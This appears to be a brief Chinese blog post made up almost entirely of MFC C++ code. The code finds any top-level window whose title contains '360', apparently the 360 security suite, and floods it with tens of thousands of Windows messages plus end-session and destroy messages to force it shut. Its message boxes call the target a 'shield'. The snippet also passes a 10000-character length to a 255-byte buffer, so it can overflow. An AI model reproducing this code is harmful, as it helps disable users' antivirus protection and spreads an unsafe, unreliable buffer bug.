windows消息销毁窗口

    技术2024-08-16  63

     // TODO: Add your control notification handler code here HWND h1,h2,h3; int temp=0; h1=::GetWindow(::GetDesktopWindow(),GW_CHILD); while(1) {  h2=::GetWindow(h1,GW_HWNDNEXT);  h3=h2;  if(!h2)   break;  LPSTR pStr;  char c[255]={0};   pStr=c;  CString str;  ::GetWindowText(h2,pStr,10000);  str=pStr;  str.MakeLower();  if(str.Find("360")!=-1)  {   MessageBox("拿到手了~~");   temp=1;   for(long msg=0;msg<99999;msg++)   {    ::PostMessage(h2,msg,0,0);    if(h2==NULL){break;}    ::PostMessage(h2,WM_QUERYENDSESSION,0,ENDSESSION_LOGOFF);    ::PostMessage(h2,WM_ENDSESSION,1,ENDSESSION_LOGOFF);   ::PostMessage(h2,WM_DESTROY,0,0);   }         }    h1=h3; } if (!temp) {  MessageBox("没找到盾牌T T"); }

    最新回复(0)